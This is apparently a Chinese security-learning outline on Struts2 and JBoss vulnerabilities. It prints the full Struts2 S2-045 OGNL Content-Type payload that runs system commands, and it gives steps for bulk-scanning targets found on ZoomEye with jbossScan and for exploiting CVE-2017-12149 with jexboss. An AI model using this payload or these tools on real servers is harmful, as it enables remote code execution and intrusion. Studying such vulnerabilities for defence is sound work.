数据来源
本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
01 Struts2相关介绍
》Struts2概述
》Struts2历史漏洞(1)
》Struts2历史漏洞(2)
》Struts2历史漏洞(3)
》Struts2历史漏洞(4)
》Struts2历史漏洞(5)
》Struts2历史漏洞(6)
》Struts2历史漏洞(2019)
02 Strut2 识别与漏洞利用
》Struts2框架识别(1)
》Struts2框架识别(2)
》Struts2漏洞验证
Struts2漏洞检查工具2018
struts2综合漏洞扫描工具_struts2漏洞检测工具_虚无-缥缈的博客-CSDN博客
》Struts2-045漏洞介绍
》Struts2-045漏洞危害
》Struts2-045漏洞利用(执行命令)
随意上传一个文件井抓包,修改 Content-type为以下的内容
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
#cmd='whoami' 可以改成其他系统命令,如:ipconfig、dir、......
》Struts2-045漏洞利用(反弹shell)
03 Jboss相关介绍
》Jboss概述
》Jboss历史漏洞(访问控制不严导致的漏洞)
》Jboss历史漏洞(反序列化漏洞)
04 Jboss识别与漏洞利用
》Jboss组件识别
访问网站的8080端口出现类似下面的页面就是使用了Jboss组件
》Jbos漏洞检测(批量)
GitHub - GGyao/jbossScan: 扫描jboss常见漏洞路径是否存在。
使用示例:
1)先把脚本代码从github上拉下来
2)把要扫描的目标url写进target.txt文件中,一行一个
这个目标网站是从钟馗之眼找的
3)扫描漏洞
这个使用python3运行脚本,kali上自带,windows系统要自行安装
我的python运行文件的名称就是python所以这个我用python执行命令,也可以更改文件名为python3然后就可以使用python3执行命令
python jbossScan.py
》CVE-2017-12149漏洞检测
/invoker/readonly
CVE-2017-12149漏洞概述
》CVE-2017-12149漏洞利用(反弹shell)
GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool